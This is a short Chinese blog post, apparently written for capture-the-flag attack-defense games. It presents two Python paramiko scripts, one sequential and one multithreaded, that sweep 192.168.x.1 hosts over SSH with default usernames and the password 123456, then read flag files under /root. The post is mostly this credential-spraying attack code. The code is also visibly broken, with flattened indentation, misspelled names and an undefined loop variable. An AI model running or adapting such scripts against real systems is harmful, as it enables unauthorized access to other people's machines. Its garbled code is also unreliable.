直接上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import paramiko
from time import ctime
usernm = ["admin","guest","root"]
passwd = "123456"
def ssh():
for i in range(1,254):
for user in usernm:
try:
host = "192.168.%s.1"%i
s=paramiko.SSHClient()
#创建ssh对象
s.load_system_host_keys()
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
#自动加载主机密钥 yes\no
s.connect(hostname=host,username=user,password=passwd)
stdin,stdout,stderr = s.exec_command('cat /root/flagvalue.txt')
print "192.168.%s.1 USER:[%s] Time:[%s]"%(i,user,ctime())
dd = stdout.read()
print dd
stdin,stdout,stderr = s.exec_command('exit')
s.close
if dd != None:
dd = None
break
except:
pass
print ssh()

跨网段批量登陆时速度明显会变慢

下面时运行结果图:
运行结果

#多线程版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import paramiko
import threading
from time import ctime,sleep
def ssh():
usernm = ["admin","guest","root"]
ip = "192.168.%s.1"%i
for user in usernm:
try:
s=paramiko.SSHClient()
s.load_system_host_keys()
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
s.connect(hostname=ip,username=user,password='123456')
stdin,stdout,stderr = s.exec_command('cat /root/flag*')
print "192.168.%s.1 USER:[%s] Time:[%s]"%(i,uer,ctime())
dd = stdout.read()
print dd

stdin,stdout,stderr = s.exec_command('exit')
s.close
if dd != None:
dd = None
break
except:
pass

for i in range(100,200):
a=threading.thread(target=ssh,arg=())
sleep(0.1)
a.strat()

运行效果:
多线程